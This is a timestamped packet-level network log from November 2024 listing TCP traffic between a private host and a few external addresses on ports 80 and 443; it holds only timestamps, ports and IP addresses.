Nov 1, 2024 13:42:02.056477070 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056648970 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056660891 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056672096 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056689024 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056695938 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056701899 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056708097 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056711912 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056723118 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056732893 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056741953 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056744099 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056754112 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056765079 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056766033 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056776047 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056782961 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056785107 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056796074 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056802034 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056807041 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056818962 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056822062 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056829929 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056840897 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056849003 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056850910 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056866884 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056879997 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056881905 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056890965 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056902885 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056904078 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056915045 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056925058 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056926012 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056947947 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056960106 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056972980 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057013035 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.057159901 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057171106 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057180882 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057192087 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057203054 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.057204008 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057218075 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.057223082 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057231903 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057241917 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057246923 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.057254076 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057265043 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057265043 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.057276011 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057287931 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.057288885 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057300091 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057312965 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057313919 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.057322979 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057331085 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.057332993 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057346106 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057356119 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057358027 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.057368040 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057380915 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057384014 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.057393074 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057403088 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.057404995 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.057415009 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.057442904 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:04.402477980 CET	49736	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:04.402570963 CET	443	49736	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:04.402754068 CET	49736	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:04.402937889 CET	49736	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:04.402975082 CET	443	49736	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:04.776117086 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:04.776160955 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:04.776457071 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:04.776698112 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:04.776716948 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:04.846163988 CET	49738	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:04.846195936 CET	443	49738	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:04.846313000 CET	49738	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:04.846496105 CET	49738	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:04.846510887 CET	443	49738	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:04.968941927 CET	49739	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:04.968974113 CET	443	49739	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:04.969042063 CET	49739	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:04.969238997 CET	49739	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:04.969255924 CET	443	49739	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.264532089 CET	443	49736	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.265947104 CET	49736	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.265975952 CET	443	49736	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.267003059 CET	443	49736	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.267086029 CET	49736	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.268297911 CET	49736	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.268366098 CET	443	49736	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.268616915 CET	49736	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.268626928 CET	443	49736	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.318813086 CET	49736	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.537868023 CET	443	49736	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.583739996 CET	49736	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.583755970 CET	443	49736	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.616236925 CET	49736	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.616292953 CET	443	49736	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.616343975 CET	49736	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.655816078 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.701469898 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.705957890 CET	443	49738	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.748713017 CET	49738	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.762198925 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.762218952 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.763370991 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.763432980 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.763639927 CET	49738	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.763650894 CET	443	49738	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.764019012 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.764089108 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.764184952 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.764194012 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.767398119 CET	443	49738	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.767468929 CET	49738	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.767829895 CET	49738	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.768018007 CET	443	49738	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.768275976 CET	49738	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.768285036 CET	443	49738	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.811259031 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.811261892 CET	49738	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.818636894 CET	443	49739	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.844329119 CET	49739	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.844341040 CET	443	49739	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.845436096 CET	443	49739	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.845494986 CET	49739	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.848968983 CET	49739	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.849042892 CET	443	49739	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.890589952 CET	49739	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:05.890602112 CET	443	49739	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:05.938705921 CET	49739	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.045300961 CET	443	49738	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.066665888 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.066709995 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.066740990 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.066751003 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.066766024 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.066797972 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.066802025 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.066817999 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.066858053 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.066859007 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.079996109 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.080041885 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.080054998 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.092322111 CET	49738	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.092336893 CET	443	49738	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.093122959 CET	49738	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.093225956 CET	443	49738	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.093311071 CET	49738	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.124070883 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.183784008 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.183856010 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.183907986 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.183917046 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.190670013 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.190738916 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.190747976 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.195173025 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.195239067 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.195245981 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.204317093 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.204389095 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.204396009 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.213335991 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.213399887 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.213407040 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.222240925 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.222330093 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.222338915 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.231287003 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.231350899 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.231359005 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.240209103 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.240267038 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.240273952 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.249602079 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.249666929 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.249674082 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.300319910 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.300359011 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.300390005 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.300395966 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.300427914 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.300441980 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.300663948 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.300707102 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.300713062 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.300725937 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.300774097 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.307696104 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.307749033 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.307791948 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.307800055 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.314647913 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.314712048 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.314719915 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.318519115 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.318571091 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.318578005 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.325371981 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.325412989 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.325421095 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.331753969 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.331819057 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.331825972 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.337723017 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.337775946 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.337784052 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.343861103 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.343933105 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.343940020 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.350167036 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.350224018 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.350230932 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.356286049 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.356350899 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.356359005 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.362998962 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.363054037 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.363060951 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.369549036 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.370376110 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.370383978 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.375101089 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.378382921 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.378391027 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.381630898 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.381690025 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.381695986 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.398694038 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.400677919 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.400711060 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.400737047 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.400746107 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.400772095 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.401371002 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.402380943 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.402386904 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.417742968 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.417778015 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.417814016 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.417848110 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.417857885 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.417877913 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.419322014 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.419378996 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.419387102 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.426228046 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.426393986 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.426402092 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.431791067 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.434374094 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.434381008 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.436764956 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.436826944 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.436834097 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.442188025 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.442377090 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.442384958 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.447727919 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.450386047 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.450393915 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.450515032 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.450556993 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.450563908 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.454040051 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.454108953 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.454117060 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.457894087 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.458408117 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.458415031 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.460696936 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.462433100 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.462440014 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.465415001 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.465470076 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.465476990 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.469904900 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.470412016 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.470418930 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.482564926 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.482597113 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.482613087 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.482620001 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.482656002 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.482662916 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.526415110 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.526424885 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.527039051 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.527090073 CET	443	49737	172.217.18.100	192.168.2.4
Nov 1, 2024 13:42:06.527144909 CET	49737	443	192.168.2.4	172.217.18.100
Nov 1, 2024 13:42:06.915710926 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:06.916007042 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:08.634780884 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:08.634798050 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:08.634865999 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:08.635061026 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:08.635073900 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:09.478627920 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:09.479002953 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:09.479028940 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:09.480093956 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:09.480222940 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:09.502983093 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:09.502983093 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:09.503011942 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:09.503109932 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:09.545943975 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:09.545954943 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:09.586975098 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:09.629340887 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:09.629401922 CET	443	49751	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:09.629575014 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:09.629811049 CET	49751	443	192.168.2.4	142.250.185.142
Nov 1, 2024 13:42:09.629826069 CET	443	49751	142.250.185.142	192.168.2.4
Nov 1, 2024 13:42:10.018721104 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.018764019 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.018790007 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.018821955 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.018847942 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.018850088 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.018876076 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.018908024 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.018913031 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.018943071 CET	443	49747	142.250.186.46	192.168.2.4
Nov 1, 2024 13:42:10.018944025 CET	49747	443	192.168.2.4	142.250.186.46
Nov 1, 2024 13:42:10.018959045 CET	443	49747	142.250.186.46	192.168.2.4
